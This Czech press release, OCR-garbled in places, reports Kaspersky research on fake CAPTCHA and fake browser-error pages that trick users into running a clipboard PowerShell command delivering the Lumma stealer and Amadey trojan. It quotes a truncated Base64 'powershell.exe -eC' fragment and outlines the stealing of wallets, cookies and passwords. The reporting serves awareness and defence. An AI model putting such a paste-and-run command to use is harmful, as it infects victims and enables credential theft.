Potvrzujete, ze nejste robot? Falesné
CAPTCHA siri1 nebezpecny malware
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Nas nedavny pruzkum prostredi adwaru odhalil, ze se tento Skodlivy CAPTCHA Siri
prostrednictvim ruznych internetovych zdroju, které nemaji s hrami nic spolecného:
stranek pro dospélé, sluzeb pro sdileni soubori, sazkovych platforem, anime a webovych
aplikaci, které vydélavaji na navstévnosti. To svédci o rozsireni distribucni sité s cilem
oslovit Sirsi okruh obéti. Experti Kaspersky navic zjistili, ze CAPTCHA Siri nejen Lummu,
ale také trojského koné Amadey.

Skodlivé CAPTCHA v reklamnich sitich

Abyste Gto¢nikim nenaletéli, je dulezité porozumét tomu, jak utocnici a jejich distribucni sit funguji.
Reklamni sit, ktera stranky se Skodlivou CAPTCHA protlacuje, obsahuje také legitimni, neskodné
nabidky. Funguje to nasledovné: kliknutim kamkoli na stranku pomoci reklamniho modulu je uzivatel
presmérovan na jiné zdroje. VétSina presmérovani vede na webové stranky propagujici bezpeénostni
software, blokatory reklam a podobné - standardni postup pro adware. V nékterych pripadech vSak
obét pristane na strance se Skodlivym CAPTCHA.

Na rozdil od pravych CAPTCHA urcenych k ochrané webovych stranek pred roboty slouzi tato
napodobenina k propagaci pochybnych stranek. Stejné jako v predchozi fazi se obét ne vzdy setka s
malwarem. Napriklad CAPTCHA na jedné ze stranek vyzyva navstévnika k naskenovani QR kodu
vedouciho na web sazkové kancelare.

Trojské koné jsou Sireny prostrednictvim CAPTCHA s instrukcemi. Kliknutim na tlacitko Nejsem
robot se do schranky zkopiruje radek powershell.exe -eC bQBzAGgAdABhA<...MAIgA=">>MAIgA=
a zobrazi se tzv. ovérovaci kroky:

S podobnymi pokyny se experti setkali i v jinych formatech nez jen CAPTCHA. Napriklad v okné,
které je stylizované jako chybova hlaska prohlizece Chrome po netspéSném nacteni stranky.
Utocnici okno vyddvaji za chybu aktualizace prohlizece a instruuji uZivatele, aby kliknul na tlacitko
Kopirovat opravu. Ackoli se design stranky lisi, scénar infekce je totozny se schématem CAPTCHA.

Radek ze schranky obsahuje prikaz PowerShellu v kdovani Base64, ktery ziska pristup k zadané
adrese URL a spusti obsah stranky. Uvnitr tohoto obsahu se nachazi skryty skript PowerShell, ktery
nakonec stdhne Skodlivy soubor.

Schovany , darek”: stealer Lumma
Skodlivy skript prostiedi PowerShell nejprve stahl a spustil archiv s programem Lumma.

Po spusténi spusti 0Setup.exe legitimni néstroj BitLockerToGo.exe, ktery je obvykle zodpovédny za
Sifrovani a prohlizeni obsahu vyménitelnych jednotek pomoci néstroje BitLocker. Tento nastroj
umoziuje prohlizet, kopirovat a zapisovat soubory a také ménit rizné vétve registru - tuto funkci
zlodéj vyuziva.

Utoénici, vyzbrojeni nastrojem BitLocker To Go, manipuluji s registrem pfedevsim proto, aby
vytvorili vétve a Kklice, které trojsky kin potrebuje ke své ¢innosti. Poté Lumma opét pomoci tohoto
nastroje vyhleda v zarizeni soubory spojené s ruznymi kryptopenézenkami obéti a ukradne je.



Nasledné ttocénici prohlizeji rozsireni prohlizece souvisejici s digitalnimi penézenkami a kradou z
nich data. Nasledné se trojsky kin pokusi ukrast soubory cookies ulozené v ruznych prohlizecich.

Nakonec malware vyhleda archivy spravct hesel, aby ukradl i jejich obsah. V prubéhu celého
procesu shromazdovani dat se trojsky kin snazi opét vyuzit nastroj BitLocker To Go k odeslani
ukradenych dat na server Gtoc¢niku. Jakmile malware najde a exfiltruje vSechna cenna data, zacne
navstévovat stranky riznych online obchodt. Uéelem je pravdépodobné generovani dalich pr{jmil
pro jeho provozovatele zvySenim poctu zobrazeni téchto webovych stranek, podobné jako u adwaru.

Payload: Amadey Trojan

Stejnd kampan Siri také trojského koné Amadey. Ten je zndmy od roku 2018 a byl predmétem mnoha
bezpecnostnich zprav. Lze fict, Ze trojsky kun stahuje nékolik moduld pro kradez prihlasovacich
udajl z popularnich prohlizecli a riznych systému pro virtualni sitové pripojeni (VNC). Zjistuje také
adresy kryptopenézenek ve schrance a nahrazuje je témi, které ovladaji utocnici. Jeden z modull
dokdaze také porizovat snimky obrazovky. V nékterych scénarich Amadey stahne do zarizeni obéti
nastroj pro vzdaleny pristup Remcos, ¢imz utocnici ziskaji plny pristup k zarizeni.

Statistiky

Od 22. zari do 14. rijna 2024 se s reklamnimi skripty setkalo vice nez 140 000 uZzivateld.
Telemetrické udaje spolec¢nosti Kaspersky ukazuji, ze z téchto 140 000 uzivateld bylo vice nez 20 000
presmérovano na infikované stranky, kde se nékterym z nich zobrazilo falesSné ozndmeni o
aktualizaci nebo falesnd CAPTCHA. Nejcasté&ji byli postiZeni uzivatelé v Brazilii, Spanélsku, Italii a
Rusku.

http://www.ceskenoviny.cz/tiskove/zpravy/potvrzujete-ze-nejste-robot-falesne-captcha-siri-nebezpecn
y-malware/2589852
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